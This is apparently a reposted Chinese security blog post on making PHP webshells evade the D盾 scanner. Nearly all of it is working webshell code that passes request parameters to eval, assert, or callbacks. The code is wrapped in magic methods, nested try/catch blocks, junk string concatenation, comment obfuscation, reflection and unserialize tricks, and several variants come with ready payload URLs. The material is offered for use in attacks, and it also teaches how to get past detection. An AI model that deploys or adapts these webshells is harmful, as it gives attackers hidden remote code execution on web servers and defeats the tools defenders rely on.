|
webshell免杀的一点尝试—php5,php7(过d盾2.1.6.2-0105更新版)维生素泡腾片 [url=]web安全工具库[/url] 2022-01-30 00:00
收录于话题
#webshell2个
#WAF绕过1个
#D盾1个
原文作者:维生素泡腾片
原文地址:https://xz.aliyun.com/t/10822
小酒馆吧,
#音乐#鼓楼#情感#文案
视频号
前言看了很多师傅关于webshell的文章,可谓是各式各样,字符的,汉字的,混淆的,不可打印的,难免让我心痒痒也想来试一试,以d盾2.1.6.2扫不出来为目标
 
说道php,大部分的webshell(小马)归根到最后都是希望能够实现代码(或命令)执行,无外乎就离不开eval和assert,所以这篇文章也是以此为核心,提供一些绕过的思路。(抛砖引玉~)
字符串函数(与类的结合)关于字符串函数,尝试了很多,核心在于利用字符串函数进行各种错综复杂的拼接,然后实现可变函数调用,实现代码执行
但是d盾对于拼接和可变函数的识别是比较有效的
比如:之前在p师傅博客看的这种
 
确实够绕够混淆,但是放在d盾面前直接爆红了
所以直接赤裸裸的用可变函数这条思路可以暂且放下了
那么用字符串函数处理一下简单的放到函数里面效果如何
正在上传…重新上传取消
好像也是不行,那放到类里面会如何呢?
 
class A{ public function test($name){ $temp = substr($name,6); $name = substr($name,0,6); $name($temp); }}$obj = new A();$obj->test($_GET[1]);payload=shell.php?0=assertphpinfo();
看来真应了那句话,没有什么是加一层解决不了的,如果有,那就再加一层,本文下面的很多尝试都有或多或少基于这句话,在混淆静态扫描很有效果。
类与魔术方法既然可以用类写,那是不是可以把类里魔术方法都试验一遍
构造和析构方法class A{ private $name; public function __construct($name){ $this->name = $name; $temp = substr($name,6); $name = substr($name,0,6); $name($temp); }}$obj = new A($_GET[1]);## 析构方法class B{ private $name; public function __construct($name){ $this->name = $name; } public function __destruct(){ $temp = substr($this->name,6); $name = substr($this->name,0,6); $name($temp); }}$obj = new B($_GET[1]); 正在上传…重新上传取消
get和se## set方法class Demo{ public function __set($name, $value){ $temp = substr($name,6); $name = substr($name,0,6); $name($temp); }}$obj = new Demo();$obj->$_GET[1]='占位的';## get方法class Demo{ public function __get($name){ $temp = substr($name,6); $name = substr($name,0,6); $name($temp); }}$obj = new Demo();echo $obj->$_GET[1];
 
整体看会发现get和set方法也是比较简单的,比较省力。而且,这个字符串处理函数确实好用,这也算是增加一层的感觉(后面也有相关案例)
其他魔术方法其他魔术方法都可以沿用这种方式,与此雷同,我就把代码直接放过来,不多解释了,大家可以在此基础更多发挥
## toString方法class Demo{ private $name; public function __construct($name){ $this->name = $name; } public function __toString(){ $temp = substr($this->name,6); $name = substr($this->name,0,6); $name($temp); return '占位'; }}$obj = new Demo($_GET[1]);echo $obj;## clone方法class Demo{ private $name; public function __construct($name){ $this->name = $name; } public function __clone(){ $temp = substr($this->name,6); $name = substr($this->name,0,6); $name($temp); }}$obj = new Demo($_GET[1]);$obj2 = clone $obj;## call方法class Demo{ public function __call($name,$args){ $name($args[0]); }}$obj = new Demo();$obj->$_GET[0]($_GET[1]);## callStatic方法(最简单)class Demo{ public static function __callStatic($name, $arguments){ $name($arguments[0]); }}Demo: _GET[0]($_GET[1]);## isset方法class Demo{ public function __isset($name){ $temp = substr($name,6); $name = substr($name,0,6); $name($temp); }}$obj = new Demo();isset($obj->$_GET[0]);## unset方法class Demo{ public function __unset($name){ $temp = substr($name,6); $name = substr($name,0,6); $name($temp); }}$obj = new Demo();unset($obj->$_GET[0]);可以看出来,能够传参的魔术方法最简单,而d盾都是扫不出来的,只能说php语法过于灵活,诸如Demo: _GET[0]($_GET[1])或者是$obj->$_GET[0]($_GET[1])这种形式的语法结构,正则匹配也是很难去推测的。
代码结构与包含(php7可用)
从上个板块的试探中已经看出了一些端倪,那就是可以通过不同的代码结构进行嵌套,而绕过扫描,那我们就来进行下一步的试探。
try...catch... 简单包在函数里
function say($name){ try{ $temp = substr($name,6); $name = substr($name,0,6); $name($temp); }catch (Exception $e){ var_dump($e); }}say($_GET[1]);
这样就解决的文章开头部分无法在函数里出现的问题
包含类里面(php7可用)
因为php7之后,assert已经作为语言构造器的方式出现,也就是说不可以向可变函数那样,通过拼接执行,所以必须要直面这个问题。以下这个方法可以直接用assert,而实现绕过。
class A{ private $name; public function __construct($name){ $this->name = $name; } public function __destruct(){ try{ assert($this->name); }catch (Exception $e){ $e->getMessage(); } finally { echo 'suibian'; } }}new A($_GET[1]); 
可以看出,多加个一层,就扫不出来了,try...catch...的结构很灵活,还可以在catch,finally的代码块里写。
## 写到catch里class A{ public function __destruct(){ try{ throw new ErrorException($_GET[1]); }catch (Exception $e){ assert($e->getMessage()); } finally { echo 'suibian'; } }}new A();## 写到finally里class A{ public function __destruct(){ try{ $this->a = $_GET[1]; $name=substr($this->a,0); }catch (Exception $e){ echo 'abc'; } finally { assert($name); } }}new A(); 
其中,写到finally中做了一个处理,如果直接用会被识别出来,所以上面加了一个字符串函数。另外,换了变量,竟然作用域能够得到,还是php够灵活,其实用加个构造方法就没什么问题的,只不过想让代码量更短小(其实就是懒了)
包多层混淆(php7可用)刚刚试过函数包含try...catch...,但是,还是用的可变函数,能不能assert甚至eval也都能直接用,试验下来,直接放到try和finally里是不行的(还可以试验一下字符串处理函数。。。),放到catch里可以
function show(){ try{ throw new ErrorException($_GET[1]); }catch (Exception $e){ assert($e->getMessage()); } finally { echo 'suibian'; }}show(); 
但是,还是不死心,如何在try里能通过,既然两层不够,就再加一层,毕竟还有eval没有试验呢
 
现实还是很无情的,不过,看起来确实是这样的,外面再加一层try...catch...不过是换汤不换药罢了,显得不太礼貌哈。但是,有意思的事情发生了,我在上面加一个try...catch..,就扫不出来了。
try { echo '占位';}catch (Exception $e){ echo '占位';}try { function show($name){ try{ assert($name); }catch (Exception $e){ var_dump($e); } } show($_GET[1]);}catch (Exception $e){ echo 123;} 正在上传…重新上传取消既然包多层是好用的,在不用类的情况下,尝试那再多包几层,看可不可行,把for,foreach,全部都用上
function say($name){ for ($i = 0; $i < 1; $i++) { foreach ([1] as $v){ try { assert($name); throw new Exception($name); }catch (Exception $exception){ assert($exception->getMessage()); } } }}say($_GET[1]); 
发现,只要包的层够多,无论是在try的哪个位置写都扫不出来了,甚至eval写进去也是没问题的。
 
eval和assert(php7可用)其实,d盾在识别eval,assert上也算是挺严格的了,明面上的方式识别率都不低,而且,像早先冰蝎写到类里的方式,用invoke魔术方法触发,也是毫不迟疑的识别出来,所以要考虑一些比较稀奇古怪的方式来试试。
一个奇怪的知识点(php5可用)
在各种测试的过程中发现,eval('$a')中,单引号包裹的变量是能够识别的,变量的值可以被替换再由eval执行,而assert('$a')中就不可以,所以做如下尝试。
$_GET[1];
$p = $_GET[2];abd($a,$p);function abd($a,$p){ eval('$a($p);');} 
注释混淆(php7)从上文推测,可以尝试其他的混淆方式,比如用注释混淆一番
 
非常好用,其中注释的内容要够多,后面也要拼点啥,要不然也能扫出来,单行注释也能写,效果一样
function demo($name){ eval("/*cesjoe*/" . $name." " );}demo($_GET[1]);## 单行注释也可以function demo($name){ eval("//\r\n" . $name." " );}demo($_GET[1]);assert如何写
##多行注释function demo($name){ if ($name != null) { $name = $name; assert("/*cesjoe*/" . $name); }}demo($_GET[1]);##单行注释function demo($name){ if ($name != null) { $name = $name; assert("//jaoijgoia\r\n" . $name); }}demo($_GET[1]); 
测试下来发现,assert的识别感觉比eval还严格呢,需要再包一层,而且还要加一行莫名其妙的代码糊弄一下,才扫不出来。
不用注释其实刚刚整体测试下来发现,不用注释,随便拼点什么都能绕过去,所以,就做了一番尝试
 
function demo($name){ if ($name != null) { $name = $name; assert( $name."echo 123;" ); }}demo($_GET[1]);function demo($name){ eval("echo 123;" . $name."echo 456; " );}demo($_GET[1]);的确如,诸如eval和assert,随便拼点什么都能过去。既然如此,能不能干脆把最外面的一层去掉,还原真正的‘一句话’呢?
 
看样没法如意,但是,从说明中看出来,它会自己去拼接推测,那我中间拦一道试试行不行
$name = $_GET[1];$name = substr($name,0);eval("echo 123;" . $name."echo 456; " ); 
果然能过得去,assert也可以依照此法写出来
$name = $_GET[1];$name = substr($name,0);assert("\$a=123 and "."$name"."and 33333;",'echo 123;');其中,assert中第二个参数要写上,才能绕过,但是依然会给一个系统提醒(deprecated),因为assert推荐写法直接写表达式,而不是字符串拼接,虽然能够执行,参数是字符串的功能已经过时了,由此也可以看到,可变函数的路是越来越窄喽。
其他方式除了上面的众多写法外,还有一些利用可变函数结合的方式特殊方式,就在这边简单列出来看看,都是测试过能绕过的
回调函数
//array_map()function Demo($b){ array_map(key($b), $b);}Demo($_GET);## payload:shell.php?assert=phpinfo();array_filter()function temp($x,$y){ $g = array(1,2,3,4,5,$y); array_filter($g,$x);}temp($_GET[1],$_GET[3]);## payload:shell.php?1=assert&3=phpinfo();//array_wal_recursive()function temp($x,$y){ $g = array(1,2,3,4,5,$y); array_uintersect($g,$g,$x);}temp($_GET[1],$_GET[3]);## payload:shell.php?1=assert&3=phpinfo();//array_uintersect_uassoc()function temp($x,$y){ $g = array('a'=>1,'b'=>2,'c'=>3,$y=>'d'); array_uintersect_uassoc($g,$g,$x,$x);}temp($_GET[1],$_GET[3]);## payload:shell.php?1=assert&3=phpinfo();//array_uintersect_assoc()function temp($x,$y){ $g = array(1,2,3,4,5,$y); array_uintersect_assoc($g,$g,$x);}temp($_GET[1],$_GET[3]);## payload:shell.php?1=assert&3=phpinfo();
用反射的方式
class One{ var $b; function action($name){ $temp=$name[0]; $temp($name[1]); }}$reflectionMethod = new ReflectionMethod('One', 'action');echo $reflectionMethod->invoke(new One(), $_GET);## payload:shell.php?0=assert&1=phpinfo();用反射的时候,如果是用ReflectionFunction(函数)反射类会被扫出来,所以只能用ReflectionMethod(对象的方法)反射类。用反序列化的方式
class Basic{ public $name; public $age; public $args; public function __wakeup(){ $tmp = $this->name.$this->age; $this->name = new $tmp(); } public function __destruct(){ $this->name->action($this->args); }}class Process{ public function action($arg){ call_user_func($arg[0],$arg[1]); }}unserialize($_GET[1]);## payload:shell.php?1=O:5:"Basic":3:{s:4:"name";s:3:" ro";s:3:"age";s:4:"cess";s:4:"args";a:2:{i:0;s:6:"assert";i:1;s:10:"phpinfo();";}}这个写的有点冗长,回头还可以再简短些试试,应该可以。
小结整篇文章针对webshell免杀的绕过方式罗列,总结下来可以体现为以下两个思路出发
1.多层包含,凡是具有代码块结构的(流程控制,类,函数,异常处理),都可以尝试多次多顺序的包含尝试
2.字符串处理,如果使用可变函数,多加几层字符串处理,会让其无法有效推测出最终拼接的字符串,尤其是变量同名覆盖,检测难度也会增加。
|
|